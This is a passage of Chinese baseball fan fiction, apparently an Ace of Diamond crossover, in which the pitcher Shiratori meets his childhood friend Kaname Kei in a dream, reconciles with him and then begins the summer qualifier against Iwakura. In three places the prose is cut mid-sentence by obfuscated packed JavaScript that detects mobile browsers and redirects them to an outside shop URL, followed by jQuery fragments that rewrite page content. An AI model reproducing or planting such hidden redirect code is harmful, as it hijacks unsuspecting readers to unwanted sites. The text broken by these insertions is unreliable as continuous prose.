白鸟讨厌他?不可能!明明是喜欢他这个捕手喜欢的不得了。 就在御幸还准备追问的时候,大巴一个刹车,东前辈在前排大吼着提醒大家拿好随身物品,原来是已经到目的地了。 大家急匆匆下车,忙着去宿舍拿换洗衣物洗澡,看来也都受够了衣服粘哒哒的触感和大巴里难闻的气味。 雨不知什么时候停了,阳光穿过云层,在湿漉漉的车窗上投下斑驳的光影。 白鸟站起身时,他后颈发梢上凝聚的水珠随之落下,冰得他一个激灵。 “喂,刚才的话还没说完。”御幸复又伸手拽住白鸟的手腕,屁股上像安了秤砣般定定地坐在那里没有站起来的意思,眼睛好奇又不服气地眯眼看着白鸟。 白鸟低头时窗外的光正好打在他的侧脸上,光线在他白色发丝上跳跃,让那白色染上了属于环境中的其他色彩。 白色是非常纯洁的颜色,因为纯洁所以极易染上其他的颜色,当沁染的颜色逐渐增多,底色也会变得混杂直到再也分辨不清。 他站在那,学着御幸眯起眼睛,露出狡黠的笑容:“既然被打断了,那就留作属于我的秘密吧。” “什么啊……”没能得到答案的御幸砸吧了一下嘴,见白鸟显然是不会再说了,他也只能乖乖站起身跟在白鸟身后离开了大巴。 仓持在车门口不耐烦地踢着轮胎,看到两人磨磨蹭蹭地下来,故意大声叹气:“你们在大巴上磨蹭什么呢?” 白鸟有点不好意思,他凑到仓持身边:“洋一,谢谢你的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687985|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 水。” 仓持无言的关心他自然看在眼里。 御幸倒是嬉皮笑脸地勾住仓持脖子:“怎么,仓持君感到寂寞了吗?下次也带上你吧?” “滚!”仓持一个肘击,御幸灵活地躲到白鸟身后,真是熟练的躲避姿势。 三人打打闹闹地跟着前辈们往宿舍走,潮湿的柏油路上,水坑中的涟漪震荡不休。 路上白鸟忍不住打了个喷嚏,顿时引起一阵兵荒马乱。 “别感冒了吧?!赶紧去洗个热水澡!” “我记得东说食堂熬了姜茶,我去给你拿,洗完澡喝一杯。” 前辈们纷纷加快了脚步,赶紧将白鸟推进了澡堂,白鸟这个新任王牌,可别还没上场就直接倒下了。 白鸟也知道轻重,没有故作推辞,老老实实洗了澡喝了姜茶,以防万一还吃了几颗龙角散的咽喉糖。 夜幕降临,青道棒球部的宿舍楼逐渐安静下来。 白鸟躺在床铺上,盯着天花板上斑驳的光影发呆,窗外的雨又开始下了,淅淅沥沥地敲打着玻璃。 伸手附上胸膛,心口的震动应和着雨声一如既往,他渐渐沉入梦乡。 因为要圭和绫濑川的特殊梦总是间隔很多天才会出现,白鸟以为今晚还是会和平常一样一夜无梦。 绚烂的光景在眼前铺设。 奇异的光点像是受到了什么吸引,一股脑得向着一个方向投射过去。 白鸟站在一片莫名其妙的虚空之中,下意识随着光点飞驰的方向转身。 在他的背后,那个虚无的一点。 一个人正站在那里。 金发金眸的少年眼下点缀着一颗泪痣,与璀璨的发色眸色相反他穿着黑色的短袖黑色的裤子,身姿挺拔却透着沉沉暮气。 白鸟僵住,他像是看见了什么无法理解的事物,又像是心中一下子涌现了过多的情绪而被冲击到无法动弹。 那少年似乎对两人身边无尽穿梭的光点十分感兴趣,看了一会儿才把视线投射向白鸟。 确定那双眼睛里切实地映照出了自己身影,他喉咙发紧,像是被无形的手扼住。 “初次见面,我是要圭。啊……不对,总感觉回忆起了一些神奇的记忆。”那少年若有所思地笑起来,那是个游刃有余看不见真心的笑容。 “好像不是初次见面啊。你应该就是小时候与我和叶流火一起玩耍,却突然有一天失踪的那个孩子「白」。” “对吧?” 声音在不知尽头的虚无中回荡。 要圭站在那里……他是在和我说话吗? 白鸟对眼前的一切感到难以理解,他既惊喜又恐惧。 如果一切都停留在当年,停留在故事的开头,可能他的心中不会有如此多的惶恐,但是时间与空间在两人之间分隔开比海还辽阔的空白。 到头来,对方痛苦时他希望自己能切实的帮助对方,可真正见面了,他却对此感到无比的恐惧。 因为他们都不再是那时的他们。 下意识后退半步,那些飞舞的光点像是因他的动作被触发,突然改变了轨迹,在他们周围形成一个漩涡,无数画面碎片在漩涡中闪现——公园、棒球场、医院、海边...... “啊……这是我的记忆。”要圭饶有兴致地看着那些碎片,嘴角的笑容没有因为记忆的泄露发生丝毫变化。 白鸟后退,要圭反而向前迈了一步,那些记忆碎片随着他的动作泛起涟漪,白鸟注意到他的金眸深处闪烁着某种难以名状的情绪。 “真有意思。” “我明明记得你,却又好像忘记了什么重要的部分。”要圭的声音轻得像羽毛,在白鸟心中却如雷霆炸响。 他突然伸手触碰漂浮的记忆碎片,那破碎的画面立刻清晰起来,其中时间飞速流逝,最终定格在一个地方。 要圭和叶流火进入了少棒,他们正在努力训练,而一个小小的身影满含羡慕与失落地站在一边观望,他身边的人来来去去,所有人都对他视而不见,就仿佛他是个透明人一样。 不,那时的他就是个「透明人」。 “原来如此啊。”要圭眨眨眼睛,他重新抬眸望向白鸟。 在白鸟苍白着脸,屏息以待中。 他微笑。 “原来你一直在「看」啊,不过对我来说,还是好久不见了……小白。” 31.过去 欲后退的脚步一梗,等白鸟意识到的时候,他已经向前迈出一步、两步、三步……奔跑,纷乱的脚步交错着心跳。 迎着金发少年的目光,三步之外,白鸟停住,并非不可再向前,而是心知无法再靠近。 “你还记得我啊……” 要圭的笑容宛如固定在脸上的面具,他闻言耸了下肩膀:“其实不记得了。” “但是身处这片奇怪地方的时候,脑海里自然而然浮现出了那时的记忆。” 这是片宛如宇宙太虚一般的漆黑之地,可见之人只有要圭与白鸟京二者,让人得以视物的光线并非来自两人周围的各色光点,而是莫名的虚玄之物。 白鸟知道是在做梦,故而不觉得有什么奇怪,但是要圭呢?他冷静的像是他们只是在一个平常的下午,一个平常的公园中重逢了一样。 他犹豫了一下,还是问道:“小圭,你知道这里是梦境吗?” 要圭因为白鸟熟稔的称呼微微一愣,他眼中浮现些许复杂的情绪,转而又被其压入深不见底的瞳孔之中。 “嗯。要不然这奇异的景象总不至于是我穿越了吧?” 无论怎样,远离现实的地界让他多少从那逃离不了的痛苦中获得了喘口气的空间,便开了个玩笑以缓解两人间有些微妙紧绷的气氛。 什么都好,在这没有棒球的世界里,让他多待会儿吧。 “……” 白鸟凝实着要圭,一整天因为上一个梦境的魂不守舍在切实见到本人后平复了大半。 如果此刻能把所有的顾虑、犹疑,因太在乎而引发的恐惧通通抛之脑后就好了。这里是梦境,不是现实;这里是不知何种存在听见他的愿望,因允实现的奇迹之地。 白鸟深吸一口气,他在要圭惊讶的目光中伸出双臂,倦鸟归巢般撞进要圭怀里,双臂紧紧环抱住要圭。 他感受到要圭的身体瞬间僵硬,像是一张绷紧的弓。 “对不起……”白鸟的声音闷在要圭肩头,因为自己这失礼的行为他的身体忍不住颤抖,但就算被讨厌他也不想后悔,伸手触摸到的终于不再是空气,而是属于人类的体温。 不仅是为了这不知分寸的行为,还有很多很多没能说出口的话,没能做到的事,他都得说声对不起才是。 要圭的呼吸停滞了一瞬。 梦境中的触感清晰到让人感觉奇怪,体温,微微发抖的手指,还有落在他颈间温热的呼吸。 那些因为时间和莫名力量隐藏而变得陌生的记忆突然鲜活起来,抱着他的存在从记忆里脱身而出,在这个怀抱中重新充盈了血肉。 那个白发金眼,总是喜欢跟着他和叶流火的孩子;那个初见时孤僻胆小,在他的帮助下重新露出笑颜的朋友;那个约定要一起打棒球,却突兀失踪的伙伴…… “为什么要道歉?”要圭嘴角撑起的笑容一颤,仿若面具裂开一道缝隙。 他的声音低沉许多:“现在道歉……太狡猾了吧……” 因为现实的一重又一重重压而疲惫不堪的要圭,在这个热切又悲伤的拥抱中缓缓放松,因为是多年前的故人,时间也仿佛倒流回了当年。 那是他最想回到的,单纯快乐的日子。 他终于抬臂,将手放在了白鸟背上。 这个有些出乎意料的回应让白鸟的心脏重重一跳,他忍不住眼眶发热,说到底一个儿时玩伴而已,他从没抱希望要圭能回应他的,但是这个家伙还是那么温柔。 白鸟缓缓松开要圭,用力扯出一个灿烂的笑容,眼眶还红着,颊边酒窝深深让这张笑脸染上几分稚气:“重新自我介绍一下,我叫白鸟京,白色的飞鸟,京都的京!” “白鸟……京。” 名字是道标,是将漂泊的灵魂固定在□□中的咒语。 要圭轻声念出这个迟到了许多年的名字。 “嗯!” 过了一会儿,两人平复了情绪坐在一片虚空中,也是神奇,都不知道哪里是地也能坐下。 那些奇异的光点依旧绕着两人缓缓旋转,不知疲倦。 “你在我的世界消失后,梦依旧在延续吗?”要圭看着虚空深处,双手环抱着腿。 对于白鸟可能旁观了他人生的事情,要圭第一时间想到的并非隐私泄露问题,而是白鸟突然被都有朋友遗忘,被迫变成了一个「透明人」该是多么绝望。 极致的绝望会驱动人想要消失的心愿,同样的,被迫消失的人,也会迎来极致的绝望。 “是的……梦虽然无序混乱,出现时间也并无规律,但也在这么多年中延续到了现在。” 要圭沉默,这意味着他那狼狈的挣扎想必也被白鸟尽收眼底。 一颗淡黄色的光球被递到眼前。 他有些疑惑地顺着那只手看向白鸟。 白鸟并没有看要圭的眼睛,他注视着手中的光球淡淡道:“这是我的记忆。” 要圭:“?!” 事到如今,他就算再羞耻,也不能逃避。白鸟拿着那个光球继续道:“在你不知道的情况下,我旁观了很多你的生活,你要不要也看看我的?” 要圭、要圭简直瞠目结舌,他完全想不明白怎么事情就变成这样了。 “这就不用了吧……” 那黄橙橙的光球就像随着主人的心情一般黯淡下来。 ……突然有点于心不忍是怎么回事。 “十几年的记忆哪里看的完啊。”要圭努力保持镇定,温和劝阻道。 白鸟的肩膀垮了下来,捧着光球的手无力地垂下,下一秒,要圭却突然抓住他的手腕,将光球按在了自己胸口。 光球在接触要圭胸膛的瞬间化作万千流光。无数画面在两人周围炸开。 因为一个人十几年的记忆太过繁杂,梦境贴心地只将较为重要的部分灌输进要圭的脑海,但就算如此也有太多信息冲击了他的脑海,最令他没想到的是,白鸟在自己的世界中,最终竟也走上了棒球的道路。 棒球、棒球、棒球…… 熟悉的窒息感又袭上心头。 他张了张嘴,无数想说的话,最终只凝成一句:“原来你已经上高中了。” 原来是他比较大来着,现在他刚要国中毕业,白鸟都高一过了一半了。 “是的,世界的时间流速并不一样。” 要圭无奈摊手:“我的世界真不争气。” 白鸟伸手拂过一颗光点,他眨眨眼试图逼退眼眶凝聚的热意,不仅是要圭获得了他的记忆,他也在此时完全回忆起了那段童年时光中忘记的那个人。 ——清峰叶流火。 也许不是梦境强迫他忘记,而是他想要忘记。 他……很嫉妒啊,嫉妒要圭的目光总是追逐着叶流火,嫉妒着他们令人艳羡的友情,愤懑着为什么离开的会是他,为什么这次被抛弃的又是他! 这种感情太过丑陋了,肮脏到不能放在阳光下被他人望到分毫。 所以他忘记了。 属于他的梦境应和了主人的愿望,将另一个人的存在抹除,只留下一个假象、一段不清醒的美梦。 要圭突兀沉默了片刻,像是在心中打好了腹稿才最终开口:“白鸟……为什么要打棒球呢?” 没想到是要圭主动问出了有关棒球的问题,他原本准备在这次会面中不去提这个话题的,难得的见面,他不想给要圭留下任何不快。 白鸟唇边漾起柔和的笑意,望着远处:“因为我想遇见和要圭一样的捕手。” 平常的他大概不会说出口的,但是这次见面也许是再也无法复刻的奇迹,所以他想说,也一定要说。 “什么?”要圭愣在原地,他怎么都没想到是这么个原因,脸上游刃有余的表情一下子消失不见,讶然地豁然转头看向白鸟。 “我看着你、追逐着你的身影,但我的世界中你并不存在。” “棒球是我们之间唯一的链接,他提醒我,哪怕有一天记忆和梦都消失,只要我还在打棒球,我想……” “我想我就一定还能与你重逢。” “……” “现在我的愿望实现了。”白鸟轻笑一声,垂眸,积蓄的眼泪模糊了视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16691974|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 线,心跳得厉害,酸楚委屈一股脑地涌上心头。 如果说家庭是塑造一个孩子的第一堂课,他的家庭一定是一位不合格的老师。 自记事起,白鸟最疑惑的一个问题就是,如果不爱他,又为何要带他来到这个世界呢? 他存在在这个世界的意义究竟为何? 他是否是一个不配得到「爱」的人? 爱这个字眼令他感受到的是刺痛,而非柔软。 要圭是第一个和他说“不”的人,哪怕对他而言只是随手给出的一份友爱,对白鸟来说却像是人类第一次发现火焰灼痛中的温暖。 因为他什么都没有,所以得到的一切都如此珍贵。 那不知是否存在的、操控一切的神,如果无法得到,又为什么要让他曾经拥有呢?如果又要重新失去,又为什么要让他再次拥有呢? 上帝曾对人类说:“我治愈你,所以才伤害你;我爱你所以才惩罚你。”* 白鸟微微侧过脸躲避要圭的视线,泪水在下巴汇聚,滴落在深不见底的黑暗里。 他不想哭的,若是只此一次的相会,他想留给要圭的应该是更成熟的自己。 要圭觉得荒谬,他怎么可能成为白鸟打棒球的原因呢? 只是小时候的一份友情,对白鸟而言竟如此重要吗?他的存在,对他而言这么重要吗? 可看了白鸟记忆的他又完全明白他没在撒谎,下意识伸手,一滴水珠落在要圭的手背上,沉重炙热的感情,就像这滴眼泪,一路烫到了他心底。 要圭拥有强大到让他自己都感到痛恨的共情能力,因此面对白鸟的眼泪他说不出话,这是两个世界的距离,非人力所能改变。这些「绝对」无法实现的事情是他背负在身上的一块又一块巨石。 所有的一切都是他「无可奈何」「无能为力」的。 所以他说不出话。 “小圭觉得打棒球痛苦吗?” “我觉得想成为英雄的‘智将’要圭非常帅气,但不打棒球只是‘小圭’的要圭也非常非常帅气。”白鸟抬起头,他依旧在流泪,那双金色的眼睛宛如琥珀凝固住了其中要圭的影子。 “……” 白鸟抬手擦了擦自己狼狈的脸。 因为看见你努力的样子,给了我坚持下去的勇气,你不仅是叶流火的,也是我的「英雄」啊!白鸟这么说着,吸吸鼻子拼命忍住眼泪,露出了笑容。 我希望,你也可以做自己的「英雄」。 要圭伸手出的手颤抖着回握成拳,那个在无数个深夜里独自舔舐伤口的、狼狈地追逐叶流火的自己,此刻竟被称作「英雄」? “什么英雄啊……”要圭强撑着笑,装作若无其事的一笔带过了他竭尽全力想要逃避的部分,“你不是已经遇见自己的捕手了吗?” 所以不要再追逐自己了,他只是个「平庸」的捕手,是个「不合格」的朋友罢了。 在白鸟最近的记忆里,属于御幸的部分尤其多,要圭也借此认识了另一个世界的捕手。 那是个优秀的家伙,拥有他这个半吊子所没有的对棒球深切的热爱,一定能带给白鸟更多动力。 白鸟微微摇了摇头。 突然,空间震动,光点胡乱的飞舞起来,若不是虚无中的二人身形没有跟着不稳,还以为是地震来了。 但是如此一来,两人都明白,这个奇迹已经到了散场结束的时候。 结局到来的那一刻,白鸟倒是平静了下来:“小圭,无论你做出什么样的决定。” 在最后的时刻白鸟再一次紧紧抱住要圭,在他耳边说出了最后的一句话。 “就算你不再爱你自己,也要记得……我永远爱你。” 在要圭睁大的眼眸中,白鸟像是突然出现那般突然消失在他怀里,只留下那句话在他心中回荡。 他独自一人沉默地站在黑暗里,远远望去如被无边黑色的沙砾埋没的一粒黄金。 半晌,要圭轻笑了一声,垂下头,眼眸掩盖在深深的阴影中。 “已经迟了啊。”「智将」如此说道。 32.初霁 醒来的时候,脸上满是泪水干涸后紧绷的感觉,眼角甚至还是湿润的,悲伤如镜花水月般残留在胸膛中。 ……白鸟呆呆地看着天花板。 以后还能见面吗?要对此抱有期待吗?最后那句话有好好传达到吗?白鸟不知道…… 叶流火……啊!这次能够记住叶流火了。 清峰叶流火这小子,好好珍惜自己的幼驯染啊!你不行就换我来啊!白鸟忿忿不平地想着。可他也清楚的知道,解铃还须系铃人。 起床洗漱后,照着镜子,白鸟发现自己的眼睛还是有点红肿。 “嘶——”这可怎么办。 偷偷去食堂拿鸡蛋也不现实,大家估计都陆陆续续起床了。端着洗漱盆回到宿舍换衣服时,他还在纠结。 突然,门被敲响。 白鸟的心跳跟着敲门声跳了两下。 “京,好了吗?你今天起的好迟。”御幸在门口一边打呵欠一边抱怨。 “来了!”白鸟加快了动作。他穿好衣服拿好装备,决定如果被问就糊弄过去,不过这次不能用“噩梦”做借口了,嗯……就说牙膏辣到眼睛了吧! 这牙膏一辣就辣到了棒球场。 还好大家都是大大咧咧的棒球笨蛋,没人在白鸟给出答案后还去深究,只有御幸反光的护目镜片让白鸟冷汗直流。 初夏的风拂面时已经能够让人感到炽热的暖意,时值梅雨季的初夏是又闷又热,直让人喘不上气。 但也许是昨晚了却一桩心事,白鸟面对逐渐酷烈的天气反而表现得更好了些,让猜测他会不适应、观察他状态的人们大跌眼镜。 “为什么???难道天才在适应天气上也是天才吗?明明这家伙长得一脸没经过风吹雨打的样子。”因为出生北部所以及其不耐热的水谷拓海非常不服气。 增田可不觉得有什么不对,他把球用力扔回给水谷:“每次让你注意夏季体能训练,却总是能躲就躲的人是谁?我好像听到有懒蛋在抱怨。” 水谷感受到球上的力度瞬间变得乖巧:“是谁呢——” 另一边,白鸟在和御幸练习变速球与螺旋球,教练对螺旋球的禁令是个数限制,所以还是能投几个保持保持手感的。 毕竟难得这么学会了这么难投的球。 “看来你很擅长这种左右横移的球。”御幸若有所思,“你现在的最高球速已经达到了153KM/S,但是当球速真正进入150KM/S以上时,你还是无法做到将球控制在好球带里。” “不过147KM/S—150KM/S的直球,好球率从30%左右提升到60%左右了,颇有成效啊!”御幸咧开嘴角。 摩挲着手上的棒球,白鸟却皱着眉头:“没错,但是进展太缓慢了,而且变速球的速差变化还是不尽如人意。” 主要是螺旋球的后来居上,让白鸟对变速球更加挑剔。 “别这么担心啊,你自学习变速球才一个多月,这个程度已经相当惊人了,难道你想一个月就投出职业选手的Level吗?”御幸摇摇头。 “你不是之前还和我说过不要着急吗?怎么自己着急起来了。” 白鸟语塞,这倒确实。 “先专注直球吧,夏季预选赛监督不是让你可以随意发挥了吗,到时候我会一直Call150KM/S以上的球的。”御幸坏笑。 “那挺好。”白鸟当然也想全力发挥,控球有控球的好,速球也有速球的浪漫。当然,如果二者兼有,那真是完美。 对于他倆来说,这是第一次在正赛中搭档,关东大赛时,监督处于某种考虑,并没有在比赛时安排两人一起上场。之后的练习赛倒是一直作为为投捕搭档活跃。 如今,两人背负着队伍Ace、正捕的名头,已经是和东清国作为四棒一样,是一个队伍最核心、最重要的存在了。 不论是外界质疑的声音,还是队内隐隐存在的担忧,两人其实都记在心里,胸膛中都存着一口气,想要在此次的夏季预选赛中证明自己。 唯有胜利,是敲碎一切质疑,一锤定音的答案。 御幸摘下面罩掀了掀风,他走到白鸟身边:“可以了,剩下的球数等到晚上再用,保持一下手感。” 白鸟点点头,他伸手给御幸解开捕手护具的带子。越接近夏天,他就越佩服穿着厚重护具蹲在本垒板的捕手,感觉好累好闷好重。 脱下全部护具的御幸长舒一口气,他活动了一下身体。两人回到休息区,擦汗的擦汗,喝水的喝水。 “你不会还是自己泡了柠檬水吧?”御幸看着白鸟自己带来的水杯,有些狐疑。 白鸟喝水动作一顿,一脸黑线:“没有,都说了我今天起床迟了不是因为在搞生化武器。” “有那么夸张吗?” 他在帝东练习赛结束之后,也喝了那杯柠檬水啊,虽然是有点苦,但完全是能接受的程度啊。 御幸心有余悸道:“完全不夸张,看来你的味蕾有很大问题啊。” 白鸟无力吐槽,很想学着仓持踢这家伙一脚,但想着他刚刚为自己蹲捕,又心软放弃了。 迎着拂面的风,白鸟思考了片刻道:“变速球虽然最近没怎么进步,不过就像你说的,也足够在赛场上用用了,而螺旋球目前监督又不让我投。” “你说我下一个变化球是学习指叉球还是曲球?” 速差、横向、纵向的位移球,他就像囤积武器一样,都想拥有。 “打住!”御幸现在算是蛮了解白鸟在棒球上的突发奇想了,有时真是会疲于应对投手的小巧思。 放下毛巾,御幸两手放在胸前比了个叉。 “NO!” 白鸟难得有点不服气:“我又没说现在就学。” “呵,我还不了解你?螺旋球怎么来的?”御幸挑眉,眸中全是戏谑。 看得人有点恼火。 白鸟拿着毛巾一把罩住御幸的头,明为帮他擦汗,实则开始搓狗一样搓了起来:“不学了,不学了行吧!” “哎!轻点,我的眼镜!”御幸被搓得东倒西歪连连告饶。 两人笑闹一阵。 坐在训练场旁的凳子上,望着场内训练的众人,御幸叹了口气:“你这几天的情绪很不对劲,真的是想学新的变化球吗?” “王牌的压力?” “……”白鸟眸光微微一动,喉结滚动几下终究还是没能说出口。 “没什么,我会调整好的。” “不过你就这么信不过我吗?我说了不会再在你没允许的情况下练习新球种了,只是想想提前思考一下。” 然后有点委屈地撇开了脑袋。 “你怎么还委屈上了。”御幸凑近,靠在白鸟背后狠狠揉了揉他的头发,“才高一球速就上了153KM/S,多为了你的手臂着想吧,我还想多和你搭档几年呢。” “或者你想高中就去做TJ手术?” 白鸟心虚地低声道“不想。” 御幸对白鸟这么严格也实在是因为太过在意他的身体健康状态,高一153KM/S高速球+螺旋球,哪个都不是开玩笑的。 如果不好好对待,密切关注,一年肩膀就报销也是可能的。 “倒是再任性一点啊。”来休息偷偷旁听了一部分的水谷忍不住出声道,“你可是王牌,投手拥有任性的权利。” 增田:“……” 白鸟叹气:“算了吧水谷前辈,一也好凶的。” 御幸噎了一下,他晃晃白鸟:“怎么回事,怎么感觉这两天你对我意见很大?” 投手轻轻哼了一声,因着背后像夏天一样热烘烘的身体,他虚幻的感受渐渐安定下来。这是他的世界啊,是与梦不同的现实。除非死亡,一切都不会结束。 一切都不会忽然消失。 青道高中作为种子队前三轮都没有比赛,但他们肯定也不会对此就感到放松。能进入赛场的队伍,谁想输掉比赛呢? 几天后,经过角逐,第四轮和青道比赛的队伍终于浮出水面。 “岩仓高校。”片冈看着拿到手中的情报。 这是个较为年轻的私立学校,才成立没多少年,但是棒球社的实力倒是不错。因 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16701484|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为校董十分喜欢棒球,花了大价格引进了不少人才和设施,教练是日职退役的选手,队伍整体风格十分前沿。 队伍里投手有4个,和职棒一样分为:先发、中继、关门三个部分各司其职。虽然投手的个人实力不突出,但是配合着扎实的基础和教练的调度,看上去非常稳健。 片冈监督将教练们召集开始安排比赛的先发位置,而选手们也拿着情报开始做准备,一军的各位们都想登上赛场,哪怕不是先发选手也在积极备战。 尤其是投手阵与捕手们,几人占用了室内练习场开始开小会。 增田把白板擦干净,看着坐在地上的几人有些感叹。投捕会议的提议者与主持者之前都是克里斯,如今克里斯暂时伤退,御幸在队伍里的威望还不足,只能由他来了。 “岩仓高校的资料大家都拿到了吧,他们的王牌是三年级的鹤川,捕手是二年级的安达。” “打线由三年级和二年级组成,实力很稳定。”言外之意就是没有特别值得关注的,像是东、结成一样的强棒选手。 “不过正因为稳定,所以他们的打线串联能力很强,只要有一个突破口,就会连续得分。”增田放上岩仓高中前几场之一的比分。 岩仓:000131100 6 高崎一:100200001 4 几人盘腿坐在地上看着那块白板。 增田用笔尖点了点第五局的得分爆发:"这里,岩仓的5棒打出了二垒安打,紧接着6棒选中四坏球上垒。随后7棒牺牲高飞推进跑者,8棒适时安打送回两分。” “非常基础,但好用的小球战术。难得的是下位打线也拥有能够确切执行战术的能力。” 白鸟盯着数据若有所思:"也就是说,比起被长打重创,更要注意的是避免连续上垒带来的滚雪球效应?" "没错。"增田赞许地点头,"他们的打线一旦垒上有人,得分率就会飞速上升。” “是不是和白龙高中近些年的战术有点像?”柴崎犹豫着问道。 增田摇头:“白龙更倾向于用盗垒骚扰投手,他们的跑垒速度很快,而岩仓的跑垒速度中规中矩,打击与抓点的能力倒是不错。” “不过与他们对垒都是投手实力非常普通的学校,实际上岩仓的打击能力怎么样,很难说吧。”水谷随意地两手放在脑后,并不看好这两年才慢慢进入人们视野的岩仓高中。 身处强棒名门,身边都是打击实力相当优异的队友,眼界已经被拉高的他,不觉得岩仓的棒球实力能够威胁到他们。 虽然大家平时都十分谦逊,但身为青道的一军选手,有着属于自己的自尊自傲。 增田嘴角抽搐,他按在白板上的笔一用力在白板上点出一个大黑点:“你给我好好听着,水谷。夏天你能不能投出自己水平还不一定,小心再被监督下放二军去。” 水谷捏着手指在嘴边拉了一下,示意自己会乖乖闭嘴,但是下一次他大概还是会我行我素。 ——水谷拓海,一个习惯性沉浸在自己世界里的投手,因为没有特别远大的志向,所以总是得过且过。神奇的是,青道如此严苛累重的训练,他也一直坚持了下来。秉承着投手最大的理念,曾经气焰嚣张,直到遇见捕手增田。现在依然时不时浪荡一下,但对比以前已经收敛多了。 水谷前辈平时练投一点都不听话,还好有增田前辈压着。御幸在一旁偷笑。 不过他也不能完全指望他人,还是得摸索出到底如何与这些前辈相处的方法来,起码得让人在赛场上能够投出他想要的球吧。 “垒上有人得分率就高,怎么听上去有点像御幸?”丹波瞥了一眼御幸。经过这么久的训练,大家也都看出来御幸打击时的怪癖了,垒上有人猛如虎,垒上无人如病猫。 御幸迎着看过来的目光额角流下一滴汗:“哈哈哈……哈哈、哈……” “御幸是喜欢猜对方捕手的配球,这点还是不一样的。”增田说道这就心有余悸,每次他都忍不住带入一下对面被玩弄的捕手,然后越想越头皮发麻,这后辈的脑子究竟是怎么长得。 33.夏甲预选赛·岩仓 夏甲预选赛比起春季大赛与关东大赛关注度要高得多,哪怕是不怎么出名的学校,看台上的人也不会少,更何况是青道高中这个自带话题度的存在。 「启用1年级投捕,究竟是穷途末路还是柳暗花明!」「龙争虎斗,三足鼎立!」「没落的豪强·青道高中」 不得不说,就是这样有争议的举动,让更多目光聚集在了青道身上。 “紧张吗?这可是夏甲预选赛,输一场咱们就要回家了。”村田揶揄地看着直冒冷汗的仓持。 “呵……呵呵,我才没有紧张。”仓持走路都同手同脚起来了,还硬撑着嘴硬,他跟着队伍进入选手通道。 略显昏暗的选手通道尽头,是骤然亮起的天光,从阴影踏入阳光下的一瞬间,观众席的呼号声震耳欲聋。 “青道!青道!青道!” “青道加油!我会一直支持你们!” 几个没见过世面的惊讶地看着观众席挥舞着应援的人们,没想到只是第一场比赛就有这么多人,一般预选赛只有八强之后上座率才会不错才对。 增田摸摸鼻子自豪道:“今天我全家都来看了,每次比赛我的家人都有人会到场观看。” “哇!”大家忍不住惊叹。 尽管在日本棒球运动十分盛行,但更多人还是比较关注甲子园和职棒,地区预选赛能来观看的大多都是同学、真爱粉丝或者成员家属。 高岛礼推推眼镜,好看的脸上勾起一抹笑:“人这么多,有一大半都是冲着那些报道来的吧,拿着录像机的人不少啊。” 太田部长擦擦汗:“第一场比赛就让白鸟同学和御幸同学上场真的好吗?估计都是冲着他们两个来的吧。” “……”片冈监督墨镜下的眼睛扫过那些观众席上明显就不是普通观众的家伙。 甲子园预选赛大家都卯足了劲想要获胜,而现今比赛情报更是不可或缺的一环,奈何白鸟和御幸在正赛出场的次数不多,有录像资料的就更少了,毕竟那时大家都不相信两个一年级能翻出什么风浪。 直到关东大赛两人发挥出色,才引起了那些家伙们的注意,可不得要在这种时候多收集资料吗。 白鸟坐在板凳席拿起水杯喝了一口,临近盛夏,天气已经开始变得炎热,吹拂的风都携着太阳的气息。 对面,岩仓高校的人正盯着青道的板凳席。 “没想到名门就算没落了也有这么多支持者啊,应援团队人数也远超我们,真好啊……” “我们毕竟没什么拿的出手的战绩,也是正常。” “话说他们真的让一年级投手当王牌吗?也太……” “行了!”岩仓的王牌投手兼队长提高声音,他环视一圈自己的队友们,“有什么疑惑的、不满的赛场上见分晓。” “是。” 鹤川作为队里绝对的中心,说话分量十足,刚刚还议论纷纷的岩仓队员们,立刻收了心思投入进了赛前热身中。 御幸走到白鸟身边:“走吧去热身,关东大赛时没能一起上场,这可是我们正赛时的第一次搭档。” 白鸟拿着手套站起:“我已经期待太久了。” *** “我没迟到吧!”一个男性急匆匆地在观众席上疾走而过,他气喘吁吁地停在一个胸前挂着相机的男人旁边。 “放心吧,才刚刚开始,第一局是岩仓先攻青道防守,先发就是我们等的那对投捕。”说着,男人举起胸前的相机,对着青道高中的板凳席就“咔嚓”了一张照片。 呼出一口气,白鸟向着投手丘走去,他眯起眼睛按了下帽檐,今天天气太好,阳光格外刺眼。 “夏季甲子园西东京预选赛第四回,青道高中对战岩仓高校,比赛即将开始。” 一垒侧,青道高中 三垒侧,岩仓高校 随着广播响起,青道在夏甲地区预算赛的第一场比赛,正式开始了。 “Play Ball!” 随着裁判的声音响起,岩仓高中的一棒屏息盯着白鸟的右手,他们得到的信息不多,只知道这个一年级拥有不错的球速与控球。 